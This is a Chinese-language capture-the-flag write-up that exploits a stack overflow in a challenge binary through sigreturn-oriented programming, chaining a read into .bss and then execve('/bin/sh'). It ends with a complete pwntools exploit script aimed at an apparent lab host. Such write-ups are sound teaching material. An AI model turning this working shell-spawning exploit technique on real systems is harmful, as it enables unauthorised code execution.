这是一道srop的题,先打开ida看看
main函数里只有一个vuln函数,我们看看vuln函数
发现缓冲区大小是0x10,read读0x400,存在栈溢出,不过需要注意vuln 结尾是纯 ret(没有 leave),所以 ret 弹出的是 saved_rbp 位置的值,ROP 链偏移 = 0x10 (16),而不是常见 leave;ret 下的 0x18 (24)。
padding=b'a'*16这是syscall的题,先搜一搜都有什么寄存器什么的可以用
ROPgadget --binary ./PWN3 | grep "syscall" ROPgadget --binary ./PWN3 | grep "pop rax" ROPgadget --binary ./PWN3 | grep "pop rdi" ROPgadget --binary ./PWN3 | grep "pop rsi"发现没有放第三个参数的寄存器,也没有pop rax,无法将 rax 设为任意 syscall 号来造输出函数来泄露libc但是有这个
我们可以控制rax变成0x3b或者0xf,0x3b的系统调用号对应的是execve函数,0xf的系统调用号对应的是sigreturn函数,这个函数能一次性设置所有的寄存器(包括 rax、rdi、rsi、rdx、rip、rsp),当我们用了sigreturn函数的时候,发生的事情就是内核从栈上读一个248字节的结构体,把结构体里里对应的值存到寄存器里,返回到结构体里指定的rip。
现在题目主要是缺少/bin/sh,所以思路就是先用sigreturn函数造一个可以写到bss段的read函数,然后我们自己在bss段写入/bin/sh,再用sigreturn函数造execve函数。
这个程序的bss段只有前面一点有东西,后面全是0可以给我们写,我们就从开头后面的第0x100开始写
bss=elf.bss() + 0x100这样写,就可以用sigreturn函数设置寄存器的值了
sig=SigreturnFrame() sig.rdi=0 sig.rsi=bss sig.rdx=0x400 sig.rax=0 sig.rip=syscall sig.rsp=bss+0x200rax设置成0,0的系统调用号对应read函数。rdi是read函数的第一个参数,设置成0。rsi是read的第二个参数,设置成bss。rdx是read函数的第三个参数,设置成0x400。rip都是设置成syscall,rsp设置成bss+0x200,这个0x200是随便写的靠后的数,0x300什么的应该也可以,靠前的数可能会有干扰。
payload=padding+p64(rax0xf)+p64(syscall)+bytes(sig)接下来构建payload,先是填充,然后把rax改成0xf,再用syscall触发sigreturn函数,再把刚才写好的值接上,发sigreturn函数的时候注意要用pwntools带的bytes(),就可以了。现在程序的状态就是等在我们造的read函数里等待输入,我们构建第二个payload
首先写第二个sigreturn函数各个寄存器的设置
binsh=bss+0x308 sig=SigreturnFrame() sig.rax=0x3b sig.rdi=binsh sig.rsi=0 sig.rdx=0 sig.rip=syscallrax设置成0x3b,对应execve函数,第一个参数是binsh的地址,第二三个参数都是0,rip都是syscall,这里为什么binsh=bss+0x308等下就说,接下来构造payload
payload=b'a'*0x200+p64(rax0xf)+p64(syscall)+bytes(sig)+b'/bin/sh'因为上一个payload的rsp设置成了bss+0x200,我们是从bss开始填充的,所以先填充0x200,然后再把rax改成0xf,再用syscall触发sigreturn函数,最后写/bin/sh。之后记得接收write输出的垃圾字符
try: r(0x30) except: pass为什么binsh的地址是bss+0x308呢?
payload里先填充了0x200,然后rax0xf算8字节,syscall算8字节,sigreturn结构体算248字节,也就是0xf8字节,把这些都加上就是0x308个字节,所以binsh从bss+0x308开始写的,地址就是bss+0x308。
为什么bin/sh是最后输入的,在payload的最后面,为什么可以让前面写的sig运行呢?
因为流程是read函数先把输入读进来不执行,直到程序后面ret弹出的时候才会执行rop链,这时候/bin/sh已经写到对应的地方了
最后附上exp
from pwn import * s = lambda data : io.send(data) sa = lambda delim, data : io.sendafter(str(delim), data) sl = lambda data : io.sendline(data) sla = lambda delim, data : io.sendlineafter(str(delim), data) r = lambda num : io.recv(num) ru = lambda delims, drop=True : io.recvuntil(delims, drop) itr = lambda : io.interactive() uu32 = lambda data : u32(data.ljust(4, b'\x00')) uu64 = lambda data : u64(data.ljust(8, b'\x00')) context.log_level = 'debug' context.arch = 'amd64' context.binary = binary = './PWN3' context.terminal = ['tmux', 'splitw', '-h'] gdbscript = ''' ''' def start(argv=[], *a, **kw): if args.GDB: proc = process([binary] + argv, *a, **kw) gdb.attach(proc, gdbscript=gdbscript) return proc elif args.REMOTE: return remote('node5.anna.nssctf.cn',22989) else: return process([binary] + argv, *a, **kw) elf = ELF(binary) libc = ELF('./libc.so.6') rop = ROP(elf) io = start() padding=b'a'*16 main=0x40051D rdi=0x00000000004005a3 rsir15=0x00000000004005a1 rax0x3b=0x00000000004004e2 rax0xf=0x00000000004004da syscall=0x0000000000400501 bss=elf.bss() + 0x100 binsh=bss+0x308 sig=SigreturnFrame() sig.rdi=0 sig.rsi=bss sig.rdx=0x400 sig.rax=0 sig.rip=syscall sig.rsp=bss+0x200 payload=padding+p64(rax0xf)+p64(syscall)+bytes(sig) s(payload) sleep(0.3) sig=SigreturnFrame() sig.rax=0x3b sig.rdi=binsh sig.rsi=0 sig.rdx=0 sig.rip=syscall payload=b'a'*0x200+p64(rax0xf)+p64(syscall)+bytes(sig)+b'/bin/sh' s(payload) sleep(0.2) try: r(0x30) except: pass itr()